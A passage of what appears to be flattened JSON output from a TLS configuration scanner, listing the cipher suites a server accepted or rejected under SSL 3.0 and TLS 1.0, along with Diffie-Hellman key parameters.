"YSpwCeMHVwvZL6HjQG0EPVI0ad+zCta0F8jxKXdpurofTRY20juJ6Kt7JTOrwEjmlqB1zqXWZxEdmeeNSnUc4r43NrMGfnIY4H1eL8GQTdKBnDLCZuUFDrszVcJVboC20GGOprLXQuNV/qzYCuYjWuOq4ySbvJerU8K147ibLZY=", - "size": 1024, - "type_name": "DH", - "x": null, - "y": null - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", - "public_bytes": "xyfaXL51dpFNJ2HOzug0J9WOrI4+cSK/tPWHSEDpdWSsWMEZ/HlgyS0OIofWas0Xq/aum+jo97nVsZ8qPVhEw5roqDluh9qQEbaib+bxlS8jSyGwWt01yPy/LGwZEzkTU2yCMLxfl2VEo499RR+MXkHjICH31RbrGBFA/UIS9xw=", - "size": 1024, - "type_name": "DH", - "x": null, - "y": null - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", - "public_bytes": "qFeRgXlhVubJ+mRil2IoiOTBJcKFA5tJIOaFzx2uT8IzzBaFnWfLvcKX2vqbaYNtwhcQNB+TDw+NKyHch8NiAEPlGwWOn9F/VgV36Jy0n/uYucOPFOrAtkReK3L132OGDaffZ/WHGR+HVwR3z4N9VHp+6EZX8fTutpKXIKyVClI=", - "size": 1024, - "type_name": "DH", - "x": null, - "y": null - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC3-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", - "public_bytes": "s5pPRR+ELzlhAaPri+Z+QpmvWWRUQ9eR0ci6nsdpmgPRzESNZ749HDGQpSF4qW38XlSmjNFe4vkJEKwOOVe4lfnIGfCuqP56TdQDlDIKrebSfNSey68mIhsLh0TUJV+w/0SMkyunUMuAgmJm3hKAj4gZQ74PBdTQzI1r9aEwC7k=", - "size": 1024, - "type_name": "DH", - "x": null, - "y": null - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "n9uLigBFRPAEXxc30LouCydM3xqfWIIY+0NTFqFuN0Fx/RnY2PN8Ob+GP9YOPjAGgKMDDG5MN1fQj3DmqocQMw==", - "public_bytes": "NOY4IWYKosGeSrKOnjyvFLADPBpX4EESIH3Z6Z3V501ShKQkNqISH+iCUCTSLfPvhLY0ORz5VXRo0gQRDNfW/A==", - "size": 512, - "type_name": "DH", - "x": null, - "y": null - } - } - ], - "is_tls_version_supported": true, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-ECDSA-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDH-ECDSA-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-ECDSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-RSA-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-RSA-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-RSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", - "openssl_name": "ECDHE-ECDSA-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", - "openssl_name": "ECDHE-ECDSA-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", - "openssl_name": "ADH-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_RC4_128_MD5", - "openssl_name": "ADH-RC4-MD5" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 56, - "name": "TLS_DH_anon_WITH_DES_CBC_SHA", - "openssl_name": "ADH-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "ADH-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "ADH-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "ADH-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "ADH-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "ADH-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-ADH-RC4-MD5" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 40, - "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-ADH-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DH-RSA-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-RSA-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-RSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-RSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-RSA-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DH-DSS-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DH-DSS-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DH-DSS-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DH-DSS-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DH-DSS-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-RSA-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-RSA-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", - "openssl_name": "DHE-DSS-SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "DHE-DSS-CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-DSS-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-DSS-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-DSS-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - } - ], - "tls_version_used": "SSL_3_0" - }, - "status": "COMPLETED" - }, - "tls_1_0_cipher_suites": { - "error_reason": null, - "error_trace": null, - "result": { - "accepted_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_SHA", - "openssl_name": "RC4-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_RC4_128_MD5", - "openssl_name": "RC4-MD5" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_RSA_WITH_DES_CBC_SHA", - "openssl_name": "DES-CBC-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "AES256-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "AES128-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "DES-CBC3-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", - "openssl_name": "EXP-RC4-MD5" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", - "openssl_name": "EXP-RC2-CBC-MD5" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-DES-CBC-SHA" - }, - "ephemeral_key": null - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 56, - "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", - "public_bytes": "tbXl7bbfigmI+fjbYZLSRrhC/XFNZO9IkqfPK7RnaStaIDQGd9+nA4RhGbkILJbs1nVcBT//a+CziXvkC64UK6uJA3v9ethtorD9w5aUbn0Ta+FU8STSTyAFKocGxLnMdKmjYEID+Myg4vQgsBFiO0n8SaP+NAZbnALQiCglRVk=", - "size": 1024, - "type_name": "DH", - "x": null, - "y": null - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "DHE-RSA-AES256-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", - "public_bytes": "vNmM9wOQoZjxpl/aUHRs2UF/iWzacoC0xjxNWLGlh0wcSGF1D+x+MhahkAIyaQK7Dg1IXDek42cu9BuACofutd8YTo3IXcmbW9CEN1G54p5mRo7agv4Ht++brz5aWyn7zUElGjaPM8hto3SG1XMgu96IcRW+ZKnTFZ95dE9gvdw=", - "size": 1024, - "type_name": "DH", - "x": null, - "y": null - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "DHE-RSA-AES128-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", - "public_bytes": "UbOlcFD4YiZxysHaZmrtjtGP9SSMK+Y3Ev99dHhLfSYO4Yv7AXS/JHB0fa9JUfDtq4rkcqV88awhw79MwUvbGjsOrWjJpWFMjmMMWMXF5oxn3AUe37vcJcKZpOhGn//9zM5fUUHk4e1sDwzbWE59LNc8yA+Vv8BuLh8oTLe/1kc=", - "size": 1024, - "type_name": "DH", - "x": null, - "y": null - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "EDH-RSA-DES-CBC3-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "1n3kQMu73Bk21pPTSv0K1QyE0jmkX1ILuIF0y5i86VGEn5EuY5xy+xO0tNcXfhbVWsF5ukILKin+MkpGemNegf9ZATd77dz9MxaKRhqtO3La6IYAeARbB6fbynh0CH0VEOqfzJ3dMwUH3WLbiK6qdH3g9NbivWiw5zk+DyQhjrM=", - "public_bytes": "JQExWdyNTxE9XsjJU7OsARvCxYp8OTvL7hJPAis0jCKyQwCPPlx/n8qJ4mkl9exXDdJD3br4xweBS7gmdddqlSG/rcJaX9MPq/HWea9pbOGTBiNc9CVSdsxQSN5UaFr8GaNYFdU8fhSXXHZhJGN7ru7QEcZsxTE8JKe5w8UG8Dk=", - "size": 1024, - "type_name": "DH", - "x": null, - "y": null - } - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 40, - "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", - "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" - }, - "ephemeral_key": { - "curve_name": null, - "generator": "Ag==", - "prime": "n9uLigBFRPAEXxc30LouCydM3xqfWIIY+0NTFqFuN0Fx/RnY2PN8Ob+GP9YOPjAGgKMDDG5MN1fQj3DmqocQMw==", - "public_bytes": "lyVihinyUAIQbK9kOL6ZDv6RDzoPdl7yut/JVzmIu2/+Cofs6H0rtDDHzfWPPg/PH+8jdhuMH6VrfSwg+XJ55w==", - "size": 512, - "type_name": "DH", - "x": null, - "y": null - } - } - ], - "is_tls_version_supported": true, - "rejected_cipher_suites": [ - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_SEED_CBC_SHA", - "openssl_name": "SEED-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_SHA", - "openssl_name": "NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_RSA_WITH_NULL_MD5", - "openssl_name": "NULL-MD5" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_IDEA_CBC_SHA", - "openssl_name": "IDEA-CBC-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", - "openssl_name": "CAMELLIA256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", - "openssl_name": "CAMELLIA128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", - "openssl_name": "AECDH-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 0, - "name": "TLS_ECDH_anon_WITH_NULL_SHA", - "openssl_name": "AECDH-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 256, - "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", - "openssl_name": "AECDH-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 128, - "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", - "openssl_name": "AECDH-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": true, - "key_size": 168, - "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", - "openssl_name": "AECDH-DES-CBC3-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", - "openssl_name": "ECDH-RSA-RC4-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 0, - "name": "TLS_ECDH_RSA_WITH_NULL_SHA", - "openssl_name": "ECDH-RSA-NULL-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 256, - "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", - "openssl_name": "ECDH-RSA-AES256-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 128, - "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", - "openssl_name": "ECDH-RSA-AES128-SHA" - }, - "error_message": "TLS alert: handshake failure" - }, - { - "cipher_suite": { - "is_anonymous": false, - "key_size": 168, - "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", - "openssl_name": 